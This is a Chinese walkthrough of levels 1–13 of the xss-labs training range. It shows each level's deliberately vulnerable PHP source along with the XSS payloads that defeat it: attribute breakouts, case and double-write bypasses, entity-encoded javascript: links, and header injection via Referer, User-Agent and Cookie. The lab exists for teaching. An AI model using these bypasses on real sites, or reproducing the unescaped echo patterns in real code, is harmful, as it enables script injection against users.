当前位置: 首页 > news >正文

XSS基础靶场练习

目录

1. 准备靶场
2. PASS
1. Level 1:无过滤
源码:
2. level2:转HTML实体
htmlspecialchars简介:
源码
PASS
3. level3:转HTML深入
源码:
PASS
4. level4:过滤<>
源码:
PASS:
5. level5:过滤on
源码:
PASS:
6. level6:大小写绕过
源码:
PASS:
7. level7:双写绕过
源码:
PASS:
8. level8:Unicode编码
源码:
PASS:
9. level9:http://
源码:
PASS:
10. level10:type属性
源码:
PASS:
11. level11:Referer
源码:
PASS:
12. level12:User-Agent
源码:
PASS:
13. level13:Cookie
源码:
PASS:

1. 准备靶场

xss-labs-all

这是一个很简单的xss入门级靶场

2. PASS

1. Level 1:无过滤

这一关很简单,因为它没有做任何过滤,虽然很简单,但是在实际中确实很容易出现。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level2.php?keyword=test"; }</script><title>欢迎来到level1</title></head><body><h1 align=center>欢迎来到level1</h1><?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>欢迎用户".$str."</h2>";?><center><img src=level1.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>​
PASS:<script>alert(1)</script>

PA


SS:

由于没有做任何过滤,所以使用什么标签都可以passaimgsvg等都行。如下:

<script>alert(1)</script>

 <img src=1 onerror=alert(1)>

 <svg/onload=alert(1)>

2. level2:转HTML实体

这一关使用了htmlspecialchars函数,把特殊字符转换为HTML实体,也就是说<>会被转换,我们知道,javascript:协议一旦被编码就不能识别,不能识别就不能触发事件。

htmlspecialchars简介:

htmlspecialchars 函数会将特殊字符转换为 HTML 实体,以防止跨站脚本攻击(XSS)并确保这些字符在 HTML 中正确显示。具体来说,它会转换以下字符:

  • & 转换为 &amp;

  • < 转换为 &lt;

  • > 转换为 &gt;

  • " 转换为 &quot;

  • ' 转换为 &#039;(取决于使用的标志)

源码

 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level3.php?writing=wait"; }</script><title>欢迎来到level2</title></head><body><h1 align=center>欢迎来到level2</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level2.php method=GET><input name=keyword  value="'.$str.'"><input type=submit name=submit value="搜索"/></form></center>';?><center><img src=level2.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS

那么这一关怎么处理呢,两种办法

一、闭合"

二、闭合>,但是要注意,闭合>的时候还需要配合一下"

如下:

双引号:"

aa" onclick="alert(1)

尖括号:>

 aa"><scropt>alert(1)</script>

3. level3:转HTML深入

这一关也是使用htmlspecialchars函数,把特殊字符转换为HTML实体。

不同的是更深入一层,这里引入该函数的一些属性:

这里看出,如果它设置了对应属性的话,引号就会被转换,那我们来试一下到底转换的是哪个引号还是引号全部转换。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!"; }</script><title>欢迎来到level3</title></head><body><h1 align=center>欢迎来到level3</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center><form action=level3.php method=GET><input name=keyword  value='".htmlspecialchars($str)."'>  <input type=submit name=submit value=搜索 /></form></center>";?><center><img src=level3.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS

尝试"

 aa" onclick="alert(1)

可以明显看到不行,这里alert都没有是识别,说明针对双引号的属性被设置了,再试一试单引号。

尝试'

 aa' onclick='alert(1)

这里成功了,那就说明,这里没有设置过滤'的属性。

除此之外,这一关还有一种做法,如下:

JavaScript中有一个函数onfocus,用于输入框input,select,a标签获得焦点的事件

所以这样构造:

 ' onfocus=javascript:alert() '

也是可以的。

4. level4:过滤<>

这一关吧,本意是不让我们闭合<>,所以其他方法就可以完成了。但是这一关折射出的问题其实是与用户的交互。对于这一关而言,需要与用户交互才会有漏洞,这样的漏洞危害性并不高。

而且仔细分析就会发现,仅使用单引号是不行的,因为它用的是"包住'了。

源码:
 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!"; }</script><title>欢迎来到level4</title></head><body><h1 align=center>欢迎来到level4</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str);$str3=str_replace("<","",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level4.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level4.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";?></body></html>

PASS:

<>

 aa" onclick="alert(1)

非用户交互:

 aa"autofocus onfocus="alert(1)

5. level5:过滤on

这一关把on事件都过滤了,也就是说这里不能使用on了,而且使用strtolower函数预防大小写,那怎么办呢。

那么我们就换一个不带on但是也能达到我们目的的标签,比如a标签。

我们把POC插入带a标签的href属性中,然后点击我们设置的目标,就可以了。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!"; }</script><title>欢迎来到level5</title></head><body><h1 align=center>欢迎来到level5</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level5.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level5.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";?></body></html>

PASS:

 a"><a href="javascript:alert(1)">click</a>

6. level6:大小写绕过

这一关把a、img、svg、<script等进行了过滤,基本上我们在前面使用过的方法都使用不了。但是就跟SQL注入一样,这里的过滤并不包含大写,所以我们可以使用大小写绕过。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level7.php?keyword=move up!"; }</script><title>欢迎来到level6</title></head><body><h1 align=center>欢迎来到level6</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level6.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level6.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";?></body></html>

PASS:

 a"><ScRiPt>alert(1)</ScRiPt>

这里只演示了一种,其实还有还几种构造语句,如下:

 脚本注入a"><SCRIPT>alert()</SCRIPT><"焦点事件a"ONDOCUS=javascript:alert()"a标签href属性的a"><a HREF=javascript:alert()>x</a><"

7. level7:双写绕过

这一关在上一关的基础上把大小写也过滤掉了,也就是说我们是真的不能使用之前用过的方法了。

那么怎么办呢? 在这一关我们可以尝试一下双写绕过,以为我们分析一下会发现,它虽然会过滤很多条件,但是仅仅是单次拦截,并不是多次,所以双写绕过是可以的

源码:
 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level8.php?keyword=nice try!"; }</script><title>欢迎来到level7</title></head><body><h1 align=center>欢迎来到level7</h1><?php ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]);  大小写不行$str2=str_replace("script","",$str);  script不行$str3=str_replace("on","",$str2);     需要on的标签不行$str4=str_replace("src","",$str3);    img标签不行$str5=str_replace("data","",$str4);   $str6=str_replace("href","",$str5);   a标签不行echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level7.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level7.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";?></body></html>

PASS:

 a"><scrscriptipt>alert(1)</scrscriptipt>

8. level8:Unicode编码

这一关,看着过滤法则,似乎含严格,几乎把常规的手段都过滤了,什么大小写、双写、标签...都不行。怎么办?

这一关有一个友情链接那说明我们的输入的接收属性是a标签的href属性,而这个属性会自动对Unicode编码进行解码,那如果我们把POC进行Unicode编码,然后当做URL写入href,那么随着hrefUnicode的解码,我们的POC不就能够识别了吗。

这一关本质是对编码知识的考查,对编码越了解就越简单。

源码:
 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!"; }</script><title>欢迎来到level8</title></head><body><h1 align=center>欢迎来到level8</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level8.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';?><center><img src=level8.jpg></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?></body></html>

PASS:

 javascript:alert()
 &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;&#10;

9. level9:http://

在上一关我们投机取巧,直接使用编码拿下POC,但是在这一关不行了,这一关加了一个硬性条件,就是必须要有http://,没有它不行。

那我们可以尝试在编码的末尾加上它。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level10.php?keyword=well done!"; }</script><title>欢迎来到level9</title></head><body><h1 align=center>欢迎来到level9</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level9.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpif(false===strpos($str7,'http://')){echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}else{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}?><center><img src=level9.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?></body></html>

PASS:

 &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* <http://> */​或者​&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

10. level10:type属性

这一关把input标签隐藏掉了,虽然可以使用GET型输入把POC传进去,但是触发不了,所以要想办法把input标签拿出来才行

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level11.php?keyword=good job!"; }</script><title>欢迎来到level10</title></head><body><h1 align=center>欢迎来到level10</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level10.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 t_sort=a" onclick=alert(1) type="text"

通过改变type属性的方法,把input标签拿出来。

11. level11:Referer

这一关在上一关的基础上加上了一个过滤,所以直接使用上一关的方法是不行的。还要配合其他方法。

这里就引入Referer这个属性了,在html里它表示用户的来源。

这里建议使用Firefox浏览器来做,它的一个插件HackBar很适合做这一关。

源码:

 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level12.php?keyword=good job!"; }</script><title>欢迎来到level11</title></head><body><h1 align=center>欢迎来到level11</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ref"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level11.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 a" onclick=alert(1) type="text"

12. level12:User-Agent

这一关就是修改User-Agent属性。跟上一关的原理一样。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level13.php?keyword=good job!"; }</script><title>欢迎来到level12</title></head><body><h1 align=center>欢迎来到level12</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level12.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 a" onclick=alert(1) type="text"

13. level13:Cookie

同理,利用Cookie。

源码:

<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level14.php"; }</script><title>欢迎来到level13</title></head><body><h1 align=center>欢迎来到level13</h1><?php setcookie("user", "call me maybe?", time()+3600);ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_COOKIE["user"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level13.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 user=a" onclick=alert(1) type="text"

这个靶场后面还有机关,但是涉及的技术是flash,已经被淘汰了,所以就做到这里吧。

相关文章:

XSS基础靶场练习

目录 1. 准备靶场 2. PASS 1. Level 1&#xff1a;无过滤 源码&#xff1a; 2. level2&#xff1a;转HTML实体 htmlspecialchars简介&#xff1a; 源码 PASS 3. level3:转HTML深入 源码&#xff1a; PASS 4. level4:过滤<> 源码&#xff1a; PASS: 5. level5:过滤on 源码…...

leetcode-200.岛屿数量

首先&#xff0c;想要找岛&#xff0c;肯定是要逐个遍历的&#xff0c;否则肯定会漏岛。 其次&#xff0c;我怎么知道两个点是否属于一个岛&#xff1f;只有一个方法&#xff0c;我踏上一个岛的某个点时&#xff0c;我就分别往四周走&#xff0c;且把当前地块毁掉&#xff0c;就…...

Linux | ubuntu安装 SSH 软件及测试工具

01 windows 要怎么和 ubuntu 互传文件呢&#xff0c;我们可以使用 ssh 软件。 终端输入 sudo apt-get install openssh-server &#xff0c;输入登录 Ubuntu 用户的密码&#xff0c;这里我们输入 y 确认安装。如下图所示。 接着继续改 ssh 配置文件&#xff0c;因为 ssh 默认…...

组件日志——etcd

目录 一、简介 二、安装【Ubuntu】 安装etcd 安装CAPI 三、写一个示例 3.0写一个示例代码 3.1获取一个etcd服务 3.2获取租约(写端操作) 3.3使用租约(写端操作) 3.4销毁租约(写端操作) 3.5获取etcd服务中的服务列表(读端操作) 3.6监听状态变化(读端操作) 一、简介 Et…...

search_fields与filterset_fields的使用

在Django中&#xff0c;search_fields 和 filterset_fields 可以在视图类中使用&#xff0c;尤其是在 Django REST Framework (DRF) 中。它们分别用于实现搜索和过滤功能。以下是它们在视图类中的具体使用方法。 1. search_fields 在视图类中的使用 search_fields 是 DRF 中 S…...

SQLite Delete 语句详解

SQLite Delete 语句详解 SQLite 是一种轻量级的数据库管理系统&#xff0c;广泛应用于移动设备、嵌入式系统和服务器端应用。在数据库管理中&#xff0c;删除数据是一项基本操作。SQLite 提供了强大的删除功能&#xff0c;本文将详细介绍 SQLite 的 Delete 语句及其用法。 1.…...

通往自主智能之路:探索自我成长的AI

1. 引言&#xff1a;当前AI范式与自我成长智能的愿景 当前的人工智能领域在很大程度上由大型语言模型&#xff08;LLM&#xff09;的卓越能力所定义。这些模型&#xff0c;例如OpenAI的GPT系列和谷歌的BERT&#xff0c;已经展示了前所未有的理解和生成类人文本的能力。LLM通常…...

[自动化] 【八爪鱼】使用八爪鱼实现CSDN文章自动阅读脚本

在CSDN上&#xff0c;文章的阅读量往往是衡量内容影响力的一个重要指标。为了测试自动化手段能否提高阅读数&#xff0c;我尝试使用网页自动化工具来模拟人工阅读某个ID的文章。 1. 网页自动化的常见方案 谈到网页自动化&#xff0c;Selenium 是一个最常见的选择。它可以通过…...

Kafka消息序列化深度革命:构建高性能、高安全的自定义编码体系

一、突破默认序列化的桎梏 1.1 原生序列化器的致命缺陷 Kafka默认提供的StringSerializer/ByteArraySerializer在复杂场景下暴露三大痛点&#xff1a; 类型安全黑洞&#xff1a;字节流缺乏元数据描述&#xff0c;消费端解析如履薄冰版本兼容困境&#xff1a;数据结构变更导致…...

2025年如何避免使用验证码求解器时被IP封禁

引言 2025年&#xff0c;验证码求解器已成为自动化网络抓取和其他在线流程的关键工具。然而&#xff0c;自动化用户面临的一个常见挑战是IP封禁。当网站检测到自动化活动时&#xff0c;通常会阻止发出请求的IP地址&#xff0c;导致验证码挑战无法解决。本文将探讨使用验证码求…...

前端 AI IDE应用优缺点

嗯&#xff0c;用户问了三个前端面试的问题&#xff0c;我需要仔细分析每个问题&#xff0c;并结合提供的搜索结果来给出全面且准确的回答。 第一个问题是关于开发工具Cursor或Vim的Windurf在开发中的占比以及它们的缺点。从搜索结果里看&#xff0c;网页3提到了Trae对标Curso…...

银河麒麟桌面版包管理器(二)

APT包管理器 APT是Debian及其派生系统的包管理器&#xff0c;构建在dpkg之上&#xff0c;以其强大的依赖性处理能力和丰富的软件仓库而闻名。APT具有自动解决依赖关系、提供易于使用的命令行工具&#xff08;如apt-get、apt-cache等&#xff09;&#xff0c;以及稳定的软件更新…...

Leetcode 3494. Find the Minimum Amount of Time to Brew Potions

Leetcode 3494. Find the Minimum Amount of Time to Brew Potions 1. 解题思路2. 代码实现 题目链接&#xff1a;3494. Find the Minimum Amount of Time to Brew Potions 1. 解题思路 这道题虽说算是搞定了&#xff0c;通过了全部的测试样例&#xff0c;不过还是很暴力的求…...

制作Oracle11g Docker 镜像

基于Linux系统&#xff0c;宿主主机要设置如下环境变量&#xff0c;oracle为64位版本 dockerfile中需要的数据库安装包可从csdn下载内找到 #!/bin/bash # 在宿主机上运行以设置Oracle所需的内核参数 # 这些命令需要root权限cat > /etc/sysctl.d/99-oracle.conf << EO…...

rocky linux下载软件

一、配置国内镜像源加速下载 Rocky Linux 默认使用国外软件源&#xff0c;国内用户可通过替换为阿里云镜像提升下载速度&#xff1a; 备份原配置文件&#xff1a; cp -r /etc/yum.repos.d /etc/yum.repos.d.backup 修改镜像源&#xff1a; sed -e s|^mirrorlist|#mirrorli…...

JVM的组成--运行时数据区

JVM的组成 1、类加载器&#xff08;ClassLoader&#xff09; 类加载器负责将字节码文件从文件系统中加载到JVM中&#xff0c;分为&#xff1a;加载、链接&#xff08;验证、准备、解析&#xff09;、和初始化三个阶段 2、运行时数据区 运行时数据区包括&#xff1a;程序计数…...

SpringBoot中安全的设置阿里云日志SLS的accessKey

众所周知,阿里云的服务都是基于accesskeyId和accesskeySecret来进行身份鉴权的,但唯独日志因为需要写入到.xml文件里对于accesskeyId和accesskeySecret需要进行一定程度的改进,尤其是使用了jasypt进行加密的参数传递进去logback.xml更是会遇到需要对参数进行解密的问题,而官网只…...

DeepSeek 助力 Vue3 开发:打造丝滑的表格(Table)之添加导出数据功能示例11,TableView15_11带分页的导出表格示例

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 Deep…...

C++多线程编程:从创建到管理的终极指南

在高性能计算时代,掌握多线程编程是提升程序效率的必修课!本文将手把手教你如何用C++11标准库轻松创建和管理线程,告别单线程的“龟速”,让代码跑出多核CPU的性能! 一、多线程为何重要? 充分利用多核CPU:现代计算机普遍支持多核并行,多线程可让程序性能指数级提升。提升…...

人工智能算法基础

基础算法 排序查找线性结构树散列图堆栈 机器学习算法 定义&#xff1a;数据算法 流程&#xff1a;数据收集与预处理、特征选择、训练和测试模型、模型的评估。 监督学习 定义&#xff1a;是从给定的训练数据集中学习出一个函数&#xff0c;当新的数据到来时&#xff0c;可…...

Normal distribution (正态分布)

Normal distribution {正态分布} 1. Normal distribution (正态分布) Gaussian distribution (高斯分布)1.1. Probability density function (概率密度函数)1.2. Standard normal distribution (标准正态分布)1.3. Cumulative distribution function (累积分布函数) 2. 正态分…...

企业级前端架构设计与实战

一、架构设计核心原则 1.1 模块化分层架构 典型目录结构&#xff1a; src/├── assets/ # 静态资源├── components/ # 通用组件├── pages/ # 页面模块├── services/ # API服务层├── store/ # 全局状态管理├── uti…...

数据模型,数据建模,组件,核心价值,使用,意义

数据模型 一组由符号,文本组成的集合, 用以准确表达信息景观, 达到有效交流,沟通的目的 数据建模 是发现,分析和确定数据需求的过程,是一种称为数据模型的精确形式表示和传递这些需求 数据模型的组件 实体, 关系, 属性和域 数据模型的核心价值 交流性 精确性 数据模型的…...

JavaScript 比较运算符

JavaScript 比较运算符 一、基础比较运算符类型 运算符名称示例核心特性==宽松相等"5" == 5 → true隐式类型转换===严格相等"5" === 5 → false类型+值双重校验!=宽松不等null != 0 → true等效于 !(a == b)!==严格不等5 !== "5" → true类型或…...

AI Agent战国时代:Manus挑战者的破局之道与技术博弈

随着Manus引爆通用型AI Agent的"手脑协同"革命&#xff0c;全球AI Agent赛道进入技术竞速期。Flowith、UI-TARS、LangManus等新势力通过差异化路径重构市场格局&#xff0c;背后折射出开源生态、本土化创新与跨模态交互的深层技术博弈。本文结合行业权威报告与公开技…...

linux--时区查看和修改

查看当前时间和时区: 打开终端&#xff0c;输入以下命令查看当前的日期和时间设置&#xff1a; timedatectl修改时区: 使用 timedatectl 命令来修改时区&#xff1a; sudo timedatectl set-timezone <时区>例如&#xff0c;设置时区为北京时间&#xff08;中国标准时间&a…...

个人博客系统 --- 测试报告

一、项目功能介绍 该项目由&#xff1a;登录模块、博客首页模块、博客详情页模块、博客编辑页模块四个功能模块组成。 该系统实现了个人博客的保存以及记录了发布日期、时间、发布人等信息。 二、测试内容与测试用例 我们需要对该系统进行功能测试&#xff0c;界面测试&…...

ESP32S3基于FreeRTOS实时操作系统控制舵机

这段代码是一个基于ESP32的舵机控制示例&#xff0c;通过MCPWM模块配置定时器、操作符、比较器和发生器&#xff0c;生成特定脉冲宽度的PWM信号&#xff0c;控制舵机在 -60度到60度之间以2度为步长往复转动。 1. 源码部分 #include "freertos/FreeRTOS.h" #include…...

【vue的some和filter】

在 Vue 中&#xff0c;some 和 filter 是两种不同的数组方法&#xff0c;分别用于处理数据筛选和条件判断。以下是它们在 Vue 中的具体用法和区别&#xff1a; 一、filter 方法 作用&#xff1a;对数组进行过滤&#xff0c;返回符合条件的新数组。 使用场景&#xff1a;常用于…...

【LC插件开发】基于Java实现FSRS(自由间隔重复调度算法)

&#x1f60a;你好&#xff0c;我是小航&#xff0c;一个正在变秃、变强的文艺倾年。 &#x1f514;本文讲解【LC插件开发】基于Java实现FSRS&#xff08;自由间隔重复调度算法&#xff09;&#xff0c;期待与你一同探索、学习、进步&#xff0c;一起卷起来叭&#xff01; 目录…...

jupyter 操作相关内容

1、jupyter界面美化 pip3 install jupyterthemes查看可用主题 jt -l推荐两个 jt -t grade3 -f consolamono -fs 140 -tfs 13 -nfs 115 -ofs 14 -cellw 90% -Tjt -t chesterish -f consolamono -fs 140 -altp -tfs 13 -nfs 115 -ofs 14 -cellw 90% -T...

【数据结构】单链表

目录 一、什么是链表&#xff1f;1、 定义2、链表的分类 二、无头单向非循环链表1、结构2、单链表数据的打印3、创建结点并初始化4、尾插5、头插6、尾删7、头删8、查找9、在指定位置pos之前插入数据10、在指定位置pos之后插入数据11、删除pos结点12、删除pos之后的结点13、销毁…...

UnoCSS极速入门:下一代原子化CSS引擎实战指南

文章目录 一、什么是UnoCSS&#xff1f;二、环境配置&#xff08;Vite示例&#xff09;三、核心使用模式3.1 自定义规则3.2 原子化类应用3.3 使用RegExp匹配器 四、高级功能解析4.1 主题系统4.2 响应式与深色模式 五、实战案例&#xff1a;构建现代按钮组件六、性能优化技巧七、…...

Es6进阶

class里的get和set 在 ES6 中&#xff0c;class 里的 get 和 set 是用于定义访问器属性的关键字。get 方法可在访问对象属性时调用&#xff0c;set 方法则在设置对象属性时调用。下面通过一个简单示例来介绍它们的用法&#xff1a; javascript class Person {constructor(nam…...

可发1区的创新思路:​基于K-means聚类的EMD-BiLSTM-CNN-Attention时间序列预测模型(功率预测、寿命预测、流量预测、故障诊断)

首先声明,该模型为原创!原创!原创! 一、应用场景 该模型主要用于时间序列数据预测问题,包含功率预测、电池寿命预测、交通流量预测、电机故障检测等等。 二、模型整体介绍(本文以光伏功率预测为例) 核心架构 ​数据聚类:K-means对风电场机组分组,降低异质性干扰。​…...

Android BLE 权限管理

前言 android 权限一直是比较活跃的 在蓝牙权限这一块又分新版和旧版 新版权限 android.Manifest.permission.BLUETOOTH_SCAN, android.Manifest.permission.BLUETOOTH_ADVERTISE, android.Manifest.permission.BLUETOOTH_CONNECT旧版权限如9.0以下 Manifest.permission.A…...

vue3 ts 注册全局组件

vue3 ts 注册全局组件 register.tsmain.ts register.ts // 注册全局组件 import {App} from "vue" import headerPage from "/headerPage.vue" export default {install(app:App){app.component("headerPage",headerPage)} }main.ts import re…...

Apache Doris学习

https://doris.apache.org/zh-CN/docs/gettingStarted/what-is-apache-doris 介绍 Apache Doris 是一款基于 MPP 架构&#xff08;大规模并行处理&#xff09;的高性能、实时分析型数据库。它以高效、简单和统一的特性著称&#xff0c;能够在亚秒级的时间内返回海量数据的查询…...

llama源码学习·model.py[7]Transformer类

一、源码展示 class Transformer(nn.Module):def __init__(self, params: ModelArgs):super().__init__()self.params paramsself.vocab_size params.vocab_sizeself.n_layers params.n_layersself.tok_embeddings VocabParallelEmbedding(params.vocab_size, params.dim,…...

Windows server 2022域控制服务器的配置

Windows server 2022介绍 一、核心特性与改进 安全核心服务器&#xff08;Secured-Core Server&#xff09; 硬件级安全&#xff1a;支持基于硬件的安全功能&#xff08;如TPM 2.0、Secure Boot、基于虚拟化的安全防护VBS&#xff09;&#xff0c;防止固件攻击。受信任的启动链…...

yolo目标检测算法在DJI上的研究分析(大纲)

yolo目标检测算法在DJI上的研究分析 面向边缘计算的实时目标检测系统设计与部署 第一章 绪论 1.1 研究背景与意义 目标检测技术需求&#xff1a; DJI设备&#xff08;如无人机、摄像头&#xff09;在安防、巡检、农业等场景中的广泛应用现有YOLO算法在高分辨率图像或资源受限…...

三、重学C++—C语言内存管理

上一章节&#xff1a; 二、重学C—C语言核心-CSDN博客https://blog.csdn.net/weixin_36323170/article/details/146191640?spm1001.2014.3001.5502 本章节代码&#xff1a; cPart2 CuiQingCheng/cppstudy - 码云 - 开源中国https://gitee.com/cuiqingcheng/cppstudy/tree/…...

DAY37 动态归化Ⅰ基础题目

509. 斐波那契数 - 力扣&#xff08;LeetCode&#xff09; class Solution { public:int fib(int n) {if(n<1) return n;int dp[2];dp[0]0;dp[1]1;int sum0;for(int i2;i<n;i){sum dp[0]dp[1];dp[0]dp[1];dp[1]sum;}return sum;} }; 70. 爬楼梯 - 力扣&#xff08;Lee…...

ABAP Core Data Services (SAP PRESS) (First Edition)

ABAP Core Data Services (SAP PRESS) (First Edition)...

ORM——对象关系映射

